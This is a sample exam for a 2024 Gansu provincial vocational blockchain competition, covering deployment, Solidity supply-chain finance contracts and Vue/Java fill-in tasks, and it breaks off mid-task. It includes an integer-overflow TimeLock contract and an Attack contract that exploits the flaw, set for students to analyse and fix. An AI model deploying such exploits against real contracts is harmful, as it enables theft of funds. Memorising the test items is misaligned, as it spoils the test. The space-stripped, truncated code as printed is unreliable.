2024 年“中銀杯”甘肅省職業(yè)院校技能大賽-高職學(xué)生組-電子與信息大類-區(qū)塊鏈技術(shù)應(yīng)用賽項(xiàng)樣題1_第1頁(yè)
2024 年“中銀杯”甘肅省職業(yè)院校技能大賽-高職學(xué)生組-電子與信息大類-區(qū)塊鏈技術(shù)應(yīng)用賽項(xiàng)樣題1_第2頁(yè)
2024 年“中銀杯”甘肅省職業(yè)院校技能大賽-高職學(xué)生組-電子與信息大類-區(qū)塊鏈技術(shù)應(yīng)用賽項(xiàng)樣題1_第3頁(yè)
2024 年“中銀杯”甘肅省職業(yè)院校技能大賽-高職學(xué)生組-電子與信息大類-區(qū)塊鏈技術(shù)應(yīng)用賽項(xiàng)樣題1_第4頁(yè)
2024 年“中銀杯”甘肅省職業(yè)院校技能大賽-高職學(xué)生組-電子與信息大類-區(qū)塊鏈技術(shù)應(yīng)用賽項(xiàng)樣題1_第5頁(yè)
已閱讀5頁(yè),還剩22頁(yè)未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

2024年“中銀杯”甘肅省職業(yè)院校技能大賽

高職學(xué)生組電子與信息大類

區(qū)塊鏈技術(shù)應(yīng)用賽項(xiàng)競(jìng)賽樣題(1)

背景描述

在供應(yīng)鏈金融這個(gè)萬(wàn)億級(jí)市場(chǎng)中,區(qū)塊鏈正在快速商業(yè)化落地,

助力產(chǎn)業(yè)革新。基于區(qū)塊鏈的供應(yīng)鏈金融業(yè)務(wù)的理念是:以源自企業(yè)

的應(yīng)收賬款為底層資產(chǎn),通過區(qū)塊鏈技術(shù)實(shí)現(xiàn)債券憑證的轉(zhuǎn)讓拆分。

其中,在原始資產(chǎn)上鏈時(shí),通過對(duì)應(yīng)收賬款進(jìn)行審核校驗(yàn),確認(rèn)貿(mào)易

關(guān)系和身份真實(shí)有效,和保證上鏈資產(chǎn)的真實(shí)可信。再者,債權(quán)憑證

可基于供應(yīng)鏈進(jìn)行層層拆分與流轉(zhuǎn),都可完整追溯到最底層資產(chǎn),以

實(shí)現(xiàn)核心企業(yè)和金融機(jī)構(gòu)對(duì)供應(yīng)商的“信用穿透”。

某公司規(guī)劃開發(fā)一個(gè)區(qū)塊鏈供應(yīng)鏈金融平臺(tái),包括核心企業(yè)、供

應(yīng)商、銀行等角色,通過智能合約代碼逐步構(gòu)建區(qū)塊鏈供應(yīng)鏈金融平

臺(tái)的基本功能,實(shí)現(xiàn)銀行向核心企業(yè)提供授信并發(fā)行數(shù)字憑證,企業(yè)

與企業(yè)之間轉(zhuǎn)讓數(shù)字憑證。此外需要完成區(qū)塊鏈供應(yīng)鏈金融平臺(tái)的前

后端,實(shí)現(xiàn)基本的業(yè)務(wù)邏輯。

2

模塊一:區(qū)塊鏈產(chǎn)品方案設(shè)計(jì)及系統(tǒng)運(yùn)維(35分)

任務(wù)1-1:區(qū)塊鏈系統(tǒng)部署與運(yùn)維(25分)

圍繞供應(yīng)鏈金融區(qū)塊鏈平臺(tái)部署與運(yùn)維需求,進(jìn)行項(xiàng)目相關(guān)系統(tǒng)、節(jié)點(diǎn)以及

管理工具的部署工作。通過監(jiān)控工具完成對(duì)網(wǎng)絡(luò)、節(jié)點(diǎn)服務(wù)的監(jiān)控。最終根據(jù)業(yè)

務(wù)需求規(guī)范,完成系統(tǒng)日志、網(wǎng)絡(luò)參數(shù)、節(jié)點(diǎn)服務(wù)等系統(tǒng)結(jié)構(gòu)的維護(hù)。

1.根據(jù)參數(shù)與端口設(shè)置要求,部署區(qū)塊鏈系統(tǒng)并驗(yàn)證;

2.根據(jù)參數(shù)與端口設(shè)置要求,部署區(qū)塊鏈網(wǎng)絡(luò)管理平臺(tái)并驗(yàn)證;

3.基于區(qū)塊鏈系統(tǒng)相關(guān)管理平臺(tái),按照任務(wù)指南實(shí)施系統(tǒng)運(yùn)維工作并驗(yàn)證。

4.基于區(qū)塊鏈系統(tǒng)相關(guān)監(jiān)管工具,按照任務(wù)指南對(duì)區(qū)塊鏈系統(tǒng)進(jìn)行監(jiān)管。

子任務(wù)1-1-1:搭建區(qū)塊鏈系統(tǒng)并驗(yàn)證(8分)

基于給定服務(wù)器環(huán)境以及軟件(地址“/root/tools”),使用Docker以默認(rèn)

配置安裝單機(jī)4節(jié)點(diǎn)的區(qū)塊鏈系統(tǒng),并完成控制臺(tái)工具的部署:

(1)完成系統(tǒng)搭建配置與啟動(dòng)。(2分)

(2)使用基于Docker命令查看區(qū)塊鏈系統(tǒng)狀態(tài)。(2分)

(3)檢查區(qū)塊鏈系統(tǒng)節(jié)點(diǎn)node0連接狀態(tài)輸出。(2分)

(4)配置控制臺(tái),管理相關(guān)證書并啟動(dòng)。(2分)

子任務(wù)1-1-2:區(qū)塊鏈管理平臺(tái)部署與驗(yàn)證(8分)

基于給定服務(wù)器環(huán)境以及軟件(地址“/root/tools”),按要求部署區(qū)塊鏈

管理平臺(tái),具體工作如下:

(1)配置Mysql數(shù)據(jù)庫(kù)(2分)

(2)配置管理平臺(tái)連接區(qū)塊鏈系統(tǒng)(2分)

(3)使用命令啟動(dòng)管理平臺(tái)服務(wù)(2分)

(4)驗(yàn)證管理平臺(tái)啟動(dòng)情況(2分)

子任務(wù)1-1-3:區(qū)塊鏈系統(tǒng)節(jié)點(diǎn)運(yùn)維(5分)

基于已完成的區(qū)塊鏈系統(tǒng)與管理平臺(tái)搭建工作,開展相關(guān)節(jié)點(diǎn)運(yùn)維工作:

(1)生成新節(jié)點(diǎn)(node4),啟動(dòng)并檢查(2分)

3

(2)修改新節(jié)點(diǎn)配置,并查看節(jié)點(diǎn)的nodeid(2分)

(3)將新節(jié)點(diǎn)作為觀察節(jié)點(diǎn)加入group1當(dāng)中,并檢查是否加入成功(1分)

子任務(wù)1-1-4:區(qū)塊鏈系統(tǒng)管理平臺(tái)運(yùn)維(4分)

基于已部署的區(qū)塊鏈系統(tǒng)管理平臺(tái),進(jìn)行系統(tǒng)相關(guān)運(yùn)維工作:

(1)基于管理平臺(tái)功能頁(yè)面,添加新主機(jī)(2分)

(2)基于管理平臺(tái)功能頁(yè)面,修改新節(jié)點(diǎn)(node4)節(jié)點(diǎn)狀態(tài),并監(jiān)控。(2

分)

任務(wù)1-2:區(qū)塊鏈系統(tǒng)測(cè)試(10分)

設(shè)計(jì)對(duì)區(qū)塊鏈系統(tǒng)的測(cè)試流程;結(jié)合實(shí)際業(yè)務(wù)需求,調(diào)用部署的智能合約中

進(jìn)行系統(tǒng)測(cè)試、性能測(cè)試等;根據(jù)業(yè)務(wù)需求,分析并且修復(fù)給定智能合約中的安

全漏洞。利用模擬業(yè)務(wù)和測(cè)試工具來完成對(duì)區(qū)塊鏈系統(tǒng)服務(wù)數(shù)據(jù)的測(cè)試。

1.基于區(qū)塊鏈系統(tǒng)的中間件服務(wù)的部署腳本完成中間件服務(wù)環(huán)境搭建以

及搭建結(jié)果驗(yàn)證,最后將執(zhí)行結(jié)果截圖保存。(3分)

(1)實(shí)現(xiàn)區(qū)塊鏈系統(tǒng)中間件服務(wù)平臺(tái)部署。(1分)

(2)實(shí)現(xiàn)區(qū)塊鏈系統(tǒng)中間件服務(wù)簽名功能啟動(dòng)情況驗(yàn)證。(1分)

(3)區(qū)塊鏈中間件服務(wù)節(jié)點(diǎn)管理進(jìn)程啟動(dòng)情況驗(yàn)證和瀏覽器驗(yàn)證。(1分)

2.智能合約安全漏洞測(cè)試。(7分)

有如下智能合約:

pragmasolidity^0.7.6;

contractTimeLock{

mapping(address=>uint)publicbalances;

mapping(address=>uint)publiclockTime;

functiondeposit()externalpayable{

balances[msg.sender]+=msg.value;

lockTime[msg.sender]=block.timestamp+1weeks;

}

functionincreaseLockTime(uint_secondsToIncrease)public{

lockTime[msg.sender]+=_secondsToIncrease;

4

}

functionwithdraw()public{

require(balances[msg.sender]>0,"Insufficientfunds");

require(block.timestamp>lockTime[msg.sender],"Locktimenotexpired");

uintamount=balances[msg.sender];

balances[msg.sender]=0;

(boolsent,)=msg.sender.call{value:amount}("");

require(sent,"FailedtosendEther");

}

}

contractAttack{

TimeLocktimeLock;

constructor(TimeLock_timeLock){

timeLock=TimeLock(_timeLock);

}

fallback()externalpayable{}

functionattack()publicpayable{

timeLock.deposit{value:msg.value}();

timeLock.increaseLockTime(

type(uint).max+1-timeLock.lockTime(address(this))

);

timeLock.withdraw();

}

}

如上代碼主要實(shí)現(xiàn)功能為規(guī)定了轉(zhuǎn)賬凍結(jié)時(shí)間,在凍結(jié)時(shí)間內(nèi)用戶不能提取存款

的金額。

(1)分析智能合約中存在問題,并說明危害。(2分)

(2)根據(jù)測(cè)試工具中的代碼文件,編寫測(cè)試用例,復(fù)現(xiàn)智能合約中存在的

漏洞。(3分)

(3)創(chuàng)建新的智能合約,修復(fù)其中問題,說明修復(fù)內(nèi)容并測(cè)試。(2分)

5

模塊二:智能合約開發(fā)與測(cè)試(30分)

任務(wù)2-1:智能合約開發(fā)(20分)

使用Solidity語(yǔ)言完成智能合約開發(fā)、部署和調(diào)用,要求如下:

1.供應(yīng)鏈金融實(shí)體信息編碼(6分)

(1)編寫供應(yīng)鏈金融智能合約的實(shí)體接口,完成實(shí)體通用數(shù)據(jù)的初始化,

實(shí)現(xiàn)企業(yè)和票據(jù)實(shí)體信息上鏈的功能;(2分)

表SupplyChain實(shí)體說明

名稱類型說明

companyNamestring公司名稱

companyAddressaddress公司地址

creditAssetuint信用資產(chǎn)

acceptReceiptIndexuint[]接收的憑證

sendReceiptIndexuint[]發(fā)送的憑證

senderAddressaddress發(fā)送票據(jù)的地址

accepterAddressaddress接收票據(jù)的地址

receiptTypeuint8憑證類型

transferTypeuint8交易類型

amountuint交易數(shù)量

//公司信息結(jié)構(gòu)體

structCompany{

//①公司名稱

//②公司地址

//③信用資產(chǎn)

//④接收的憑證

//⑤發(fā)送的憑證

6

}

//數(shù)字發(fā)票收據(jù)信息

structReceipt{

//⑥發(fā)送票據(jù)的地址

//⑦接收票據(jù)的地址

//⑧憑證類型

//⑨交易類型

//⑩交易數(shù)量

}

(2)編寫企業(yè)上鏈信息接口,實(shí)現(xiàn)供應(yīng)鏈金融的企業(yè)信息上鏈;(2分)

functionaddCompany(stringname,addresscompanyAddress)

returns(bool){

//①實(shí)例化公司

//②添加公司地址

//③將實(shí)例化的公司添加到公司映射

//④返回添加成功標(biāo)識(shí)

}

(3)基于給定的智能合約代碼以及注釋,完成銀行向企業(yè)交易的接口函數(shù);

(2分)

functionbankToCompanyReceipt(addresssenderAddress,address

accepterAddress,uintamount,uint8receiptType)returns(uint){

①判斷接收地址存在

②實(shí)例化銀行

③實(shí)例化公司

if(keccak256(bank.bankName)==keccak256("")){

return404001;

7

}

//確認(rèn)公司存在

if(keccak256(panyName)==④){

return404002;

}

if(bank.creditAsset<amount){

return500001;

}

2.供應(yīng)鏈金融公司與公司接口編碼(6分)

(1)編寫公司與公司之間進(jìn)行交易的歷史存證上鏈接口,實(shí)現(xiàn)公司與公

司之間的交易功能;(2分)

functioncompanyToCompanyReceipt(①,addressaccepterAddress,uint

amount,uint8receiptType)returns(uint){

//②接收地址判斷

CompanymemorysenderCompany=companyMap[③];

Companymemory④=companyMap[accepterAddress];

//確認(rèn)發(fā)送公司存在

if(keccak256(senderCompany.⑤)==keccak256("")){

return404001;

}

//確認(rèn)接收公司存在

if(keccak256(accepterCpanyName)==⑥){

return404002;

}

8

//如果存證接收的公司資產(chǎn)小于存證數(shù)額,那么就不能交易發(fā)送存

if(accepterCompany.creditAsset⑦⑧){

return500001;

}

(2)編寫創(chuàng)建存證的接口,實(shí)現(xiàn)創(chuàng)建存證的功能;(2分)

ReceiptmemorynewReceipt=Receipt(①,accepterAddress,receiptType,

2,amount);

receiptIndex+=1;

//記錄存證(存證Map,公司Map對(duì)應(yīng)地址的發(fā)送和接收存證列表)

receiptMap[receiptIndex]=②;

companyMap[③].sendReceiptIndex.push(receiptIndex);

companyMap[accepterAddress].acceptReceiptIndex.push(④);

(3)編寫交易金額數(shù)量變化的接口,實(shí)現(xiàn)憑證交易雙方資金的變化功能;

(2分)

companyMap[①].creditAsset②amount;

companyMap[③].creditAsset④amount;

return200;

}

3.供應(yīng)鏈金融公司與銀行交易的接口編碼(4分)

(1)編寫公司與銀行之間進(jìn)行交易的歷史存證上鏈接口,實(shí)現(xiàn)公司與銀行

之間的交易功能;(2分)

functioncompanyToBankReceipt(addresssenderAddress,①,uint

amount,uint8receiptType)returns(uint){

9

Bankmemorybank=bankMap[senderAddress];

CompanymemoryaccepterCompany=companyMap[③];

//確認(rèn)發(fā)送公司存在

if(keccak256(bank.bankName)==④){

return404001;

}

//確認(rèn)接收公司存在

if(keccak256(accepterCpanyName)==

keccak256("")){

return404002;

}

//如果存證接收的公司資產(chǎn)小于存證數(shù)額,那么就不能交易發(fā)送存

if(accepterCompany.creditAsset<amount){

return500001;

}

(2)編寫創(chuàng)建存證的接口,實(shí)現(xiàn)創(chuàng)建存證的功能;(1分)

//創(chuàng)建存證

ReceiptmemorynewReceipt=Receipt(senderAddress,

accepterAddress,①,3,amount);

receiptIndex②1;

receiptMap[③]=newReceipt;

bankMap[senderAddress].sendReceiptIndex.push(receiptIndex);

10

companyMap[accepterAddress].④;

(3)編寫交易金額數(shù)量變化的接口,實(shí)現(xiàn)憑證交易雙方資金的變化功能;

(1分)

bankMap[senderAddress].①②amount;

companyMap[accepterAddress].③④amount;

return200;

}

4.合約編譯、部署和調(diào)用(4分)

(1)解決代碼錯(cuò)誤和警告,正確編譯并部署合約,成功獲取部署的合約地

址和abi。(1分)

(2)調(diào)用食品溯源智能合約的接口,完整驗(yàn)證業(yè)務(wù)流程。(3分)

任務(wù)2-2:智能合約測(cè)試(10分)

編寫智能合約單元測(cè)試代碼并完成合約功能測(cè)試、性能測(cè)試,具體要求如下:

1.配置區(qū)塊鏈網(wǎng)絡(luò)(2分)

啟動(dòng)區(qū)塊鏈網(wǎng)絡(luò),創(chuàng)建新的Workspace,配置對(duì)外訪問的RPC接口為7545,

配置項(xiàng)目的配置文件config.js實(shí)現(xiàn)與新建Workspace的連接。

2.補(bǔ)充給定基礎(chǔ)代碼中注釋提示的部署邏輯(2分)

基于VSCODE加載的測(cè)試項(xiàng)目,補(bǔ)全位于test文件夾中HelloWorld.js文件

預(yù)操作的方法。在測(cè)試文件中添加預(yù)定義的方法(在其他方法啟動(dòng)前使用)。

3.補(bǔ)充代碼中注釋提示的測(cè)試邏輯(2分)

基于VSCODE加載的測(cè)試項(xiàng)目,補(bǔ)全位于test文件夾中HelloWorld.js文件,

添加測(cè)試用例,測(cè)試智能合約的get方法。

4.測(cè)試hello.get()方法(2分)

基于VSCODE加載的測(cè)試項(xiàng)目,補(bǔ)全位于test文件夾中HelloWorld.js文件,

11

添加測(cè)試用例,測(cè)試智能合約的hello.get()方法。

5.測(cè)試.should.equal進(jìn)行對(duì)比判斷(2分)

基于VSCODE加載的測(cè)試項(xiàng)目,補(bǔ)全位于test文件夾中HelloWorld.js文件,

添加測(cè)試用例,測(cè)試智能合約的equal字符串比較方法。

12

模塊三:區(qū)塊鏈應(yīng)用系統(tǒng)開發(fā)(30分)

任務(wù)3-1:區(qū)塊鏈應(yīng)用前端功能開發(fā)(10分)

1.請(qǐng)基于前端系統(tǒng)的開發(fā)模板,在注冊(cè)組件Register.vue文件中添加對(duì)應(yīng)

的注冊(cè)邏輯代碼,實(shí)現(xiàn)對(duì)后端系統(tǒng)的注冊(cè)功能,并測(cè)試功能完整性(3分):

本題目的具體要求如下:

(1)界面有明確的注冊(cè)相關(guān)提示語(yǔ)

(2)需要填寫的部分有組織名稱、區(qū)塊鏈地址、組織類型

(3)頁(yè)面需要有“返回”按鈕,可以跳轉(zhuǎn)到登錄頁(yè)面

(4)點(diǎn)擊“注冊(cè)”按鈕時(shí)需要檢查區(qū)塊鏈地址是否已輸入

(5)注冊(cè)成功后跳轉(zhuǎn)登錄頁(yè)面

Register.vue:

代碼片段1:

<el-row>

<el-col:span="16":offset="4">

<el-formlabel-width="100px">

<h3>選手填寫部分</h3>

<el-form-itemlabel="組織名稱:">

<el-inputtype="primary"v-model="選手填寫部分

"></el-input>

</el-form-item>

<el-form-itemlabel="區(qū)塊鏈地址:">

<el-inputtype="primary"v-model="選手填寫部分

"></el-input>

</el-form-item>

<el-form-itemlabel="組織類型:">

<el-radio-groupv-model="orgType">

13

<el-radio:label="1">公司</el-radio>

<el-radio:label="2">銀行</el-radio>

</el-radio-group>

</el-form-item>

</el-form>

</el-col>

</el-row>

<el-rowstyle="padding-bottom:20px">

<el-buttontype="primary"選手填寫部分>注冊(cè)</el-button>

<el-buttontype="primary"選手填寫部分>返回</el-button>

</el-row>

代碼片段2:

register:function(){

if(this.address==""){

alert(選手填寫部分)

}else{

letpostData={

orgType:選手填寫部分,

username:選手填寫部分,

address:選手填寫部分

}

//和后端交互

選手填寫部分

}

},

代碼片段3:

goback:function(){

14

Type=''

this.username=''

this.address=''

選手填寫部分

}

2.請(qǐng)基于前端系統(tǒng)的開發(fā)模板,在登錄組件Login.vue文件中添加對(duì)應(yīng)的登

錄邏輯代碼,實(shí)現(xiàn)對(duì)后端系統(tǒng)的登錄功能,并測(cè)試功能完整性(3分):

本題目的具體要求如下:

(1)界面有明確的登錄相關(guān)提示語(yǔ)

(2)需要填寫的項(xiàng)有用戶地址、組織類型

(3)頁(yè)面需要有“注冊(cè)”按鈕,可以跳轉(zhuǎn)注冊(cè)頁(yè)面

(4)點(diǎn)擊“登錄”按鈕時(shí)需要檢查各個(gè)表項(xiàng)是否已輸入

(5)登錄成功后跳轉(zhuǎn)首頁(yè),路徑為“/home”

Login.vue:

代碼片段1:

<el-col:span="16":offset="4">

<el-formlabel-width="80px">

<h1>供應(yīng)鏈金融應(yīng)用</h1>

<h3>選手填寫部分</h3>

<el-form-itemlabel="用戶地址:">

<el-inputtype="primary"v-model="選手填寫部分

"></el-input>

</el-form-item>

<el-form-itemlabel="組織類型:">

<el-radio-groupv-model="選手填寫部分">

<el-radio:label="1">公司</el-radio>

<el-radio:label="2">銀行</el-radio>

</el-radio-group>

15

</el-form-item>

</el-form>

</el-col>

</el-row>

<el-rowstyle="margin-bottom:20px">

<el-buttontype="primary"選手填寫部分>登錄</el-button>

<el-buttontype="primary"選手填寫部分>注冊(cè)</el-button>

</el-row></el-row>

代碼片段2:

login:function(){

if(this.address==""){

alert("選手填寫部分")

}elseif(Type==""){

alert("選手填寫部分")

}else{

letpostData={

orgType:選手填寫部分,

address:選手填寫部分

}

//與后端交互

選手填寫部分

}

},

代碼片段3:

register:function(){

選手填寫部分

16

},

3.請(qǐng)基于前端系統(tǒng)的開發(fā)模板,在公司組件Company.vue文件中添加對(duì)應(yīng)的

邏輯代碼,實(shí)現(xiàn)對(duì)后端系統(tǒng)的公司相關(guān)業(yè)務(wù)功能,并測(cè)試功能完整性(2分):

Company.vue:

代碼片段1:

<el-row>

<el-col:span="20":offset="2">

<el-table:data="companyList"style="font-size:20px">

<el-table-columnprop="address"label="賬戶地址

"></el-table-column>

<el-table-columnprop="name"label="公司名稱

"></el-table-column>

<el-table-columnprop="amount"label="賬戶總額

"></el-table-column>

<el-table-columnlabel="查看詳情">

<templateslot-scope="scope">

<el-buttontype="primary"@click="選手填寫部分">

查詢</el-button>

</template>

</el-table-column>

<el-table-columnprop="receiptType"label="轉(zhuǎn)賬">

<templateslot-scope="scope">

<el-buttontype="primary"

@click="transfer(scope.row)">操作</el-button>

</template>

</el-table-column>

</el-table>

</el-col>

17

</el-row>

<el-row>

代碼片段2:

<el-dialogtitle="公司詳情":visible.sync="dialogVisible">

<el-formlabel-width="100px">

<el-form-itemlabel="賬戶地址:">

{{選手填寫部分}}

</el-form-item>

<el-form-itemlabel="公司名稱:">

{{選手填寫部分}}

</el-form-item>

<el-form-itemlabel="賬戶總額:">

{{選手填寫部分}}

</el-form-item>

</el-form>

代碼片段3:

detail:function(queryAddress){

this.dialogVisible=true

letaddress=選手填寫部分

this.axios.get(`選手填寫部

分?address=${address}&queryAddress=${queryAddress}`)

.then((response)=>{

console.log(response)

if(response.data.code==200){

letinAddress=

panyVO.address;

letinName=選手填寫部分;

18

letinAmount=panyVO.amount;

panyDetail={

address:選手填寫部分,

name:選手填寫部分,

amount:選手填寫部分,

senderReceiptList:

response.data.data.senderReceiptList,

accepterReceiptList:

response.data.data.accepterReceiptList

}

}else{

alert(`請(qǐng)求內(nèi)容有誤,${response.data.data}`)

}

})

},

4.請(qǐng)基于前端系統(tǒng)的開發(fā)模板,在銀行組件Bank.vue文件中添加對(duì)應(yīng)的邏

輯代碼,實(shí)現(xiàn)對(duì)后端系統(tǒng)的銀行相關(guān)業(yè)務(wù)功能,并測(cè)試功能完整性(2分):

Bank.vue:

代碼片段1:

<el-row>

<el-dialogtitle="交易(發(fā)送憑證)頁(yè)

":visible.sync="transDialogVisible"width="30%">

<el-formlabel-width="100px">

<el-form-itemlabel="發(fā)送賬戶地址:">

{{選手填寫部分}}

</el-form-item>

19

<el-form-itemlabel="接收賬戶地址:">

{{選手填寫部分}}

</el-form-item>

<el-form-itemlabel="交易額:">

<el-col:span="16":offset="4">

<el-inputtype="primary"v-model="選手填寫部分

"></el-input>

</el-col>

</el-form-item>

<el-form-itemlabel="憑證類型:">

<el-selectv-model="選手填寫部分"placeholder="請(qǐng)選擇

">

<el-option

v-for="iteminoptions"

:key="item.value"

:label="item.label"

:value="item.value">

</el-option>

</el-select>

</el-form-item>

</el-form>

<el-row>

<el-buttontype="primary"size="medium"@click="選手填寫

部分">確定</el-button>

</el-row>

</el-dialog>

</el-row>

代碼片段2:

20

executeTransaction:function(){

letfuncName="companyToBankReceipt";

if(this.transDetail.amount==選手填寫部分){

alert('交易額不能為空!')

return

}

if(this.$cookies.get('orgType')==選手填寫部分){

alert('銀行不能給銀行發(fā)送憑證!')

return

}

if(選手填寫部分){

alert("憑證發(fā)送賬戶和接收賬戶不能相一致!")

return

}

this.axios.post(`/finance/transaction/${funcName}`,選手填

寫部分).then((response)=>{

if(response.data.code==200){

alert('憑證發(fā)送成功')

this.query()

this.transDialogVisible=false

}else{

alert(`憑證發(fā)送失敗,${response.data.data}`)

}

})

},

任務(wù)3-2:區(qū)塊鏈應(yīng)用后端功能開發(fā)(20分)

1.開發(fā)區(qū)塊鏈供應(yīng)鏈金融應(yīng)用后端系統(tǒng)中用戶功能模塊對(duì)應(yīng)的用戶注冊(cè)功

21

能,根據(jù)前后代碼補(bǔ)充最合適的代碼,并測(cè)試功能完整性。(4分)

OrgServiceImpl.java:

/**

*注冊(cè)Service

*RegisterBOregisterBO

**/

@Override

publicResult<String>register(RegisterBOregisterBO){

if(StrUtil.isEmpty(選手填寫部分)||

StrUtil.isEmpty(選手填寫部分)||

registerBO.getOrgType()==選手填寫部分

){

returnResult.error(ResultVO.PARAM_EMPTY);

}

ListfuncParam=newArrayList();

funcParam.add(選手填寫部分);

funcParam.add(選手填寫部分);

if(registerBO.getOrgType()==2){

funcParam.add(BigInteger.valueOf(1000));

}

StringfuncName;

if(registerBO.getOrgType()==2){

funcName=選手填寫部分;

}else{

funcName=選手填寫部分;

}

22

String_result=

weBASEUtils.funcPost(OWNER_ADDRESS,funcName,funcParam);

JSONObject_resultJson=JSONUtil.parseObj(_result);

if(_resultJson.containsKey("statusOK")==false||

_resultJson.getBool("statusOK")!=true){//

_resultJson.getInt("code")>0

returnResult.error(ResultVO.選手填寫部分);

}

returnResult.success("ok");

}

2.開發(fā)區(qū)塊鏈供應(yīng)鏈金融應(yīng)用中后端系統(tǒng)中用戶功能模塊對(duì)應(yīng)的用戶登錄

功能,根據(jù)前后代碼補(bǔ)充最合適的代碼,并測(cè)試功能完整性。(4分)

OrgServiceImpl.java:

/**

*登錄Service

*LoginBOloginBO

**/

@Override

publicResult<String>login(@RequestBodyLoginBOloginBO){

if(StrUtil.isEmpty(loginBO.getAddress())

){

returnResult.error(ResultVO.PARAM_EMPTY);

}

23

ListfuncParam=newArrayList();

funcParam.add(選手填寫部分);

StringfuncName;

if(loginBO.getOrgType()==2){

funcName=選手填寫部分;

}else{

funcName=選手填寫部分;

}

String_result=weBASEUtils.funcPost(選手填寫部

分,funcName,funcParam);

JSONArray_resultJson=JSONUtil.parseArray(_result);

if(StrUtil.isEmpty(_resultJson.get(0).toString())){

returnResult.error(ResultVO.選手填寫部分);

}

returnResult.success("ok");

}

3.開發(fā)區(qū)塊鏈供應(yīng)鏈金融應(yīng)用后端系統(tǒng)中查詢功能模塊對(duì)應(yīng)的查詢所有公

司信息功能,根據(jù)前后代碼補(bǔ)充最合適的代碼,并測(cè)試功能完整性。(4分)

QueryServiceImpl.java:

/**

*獲取所有公司數(shù)據(jù),不包含存證詳細(xì)信息

**/

@Override

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論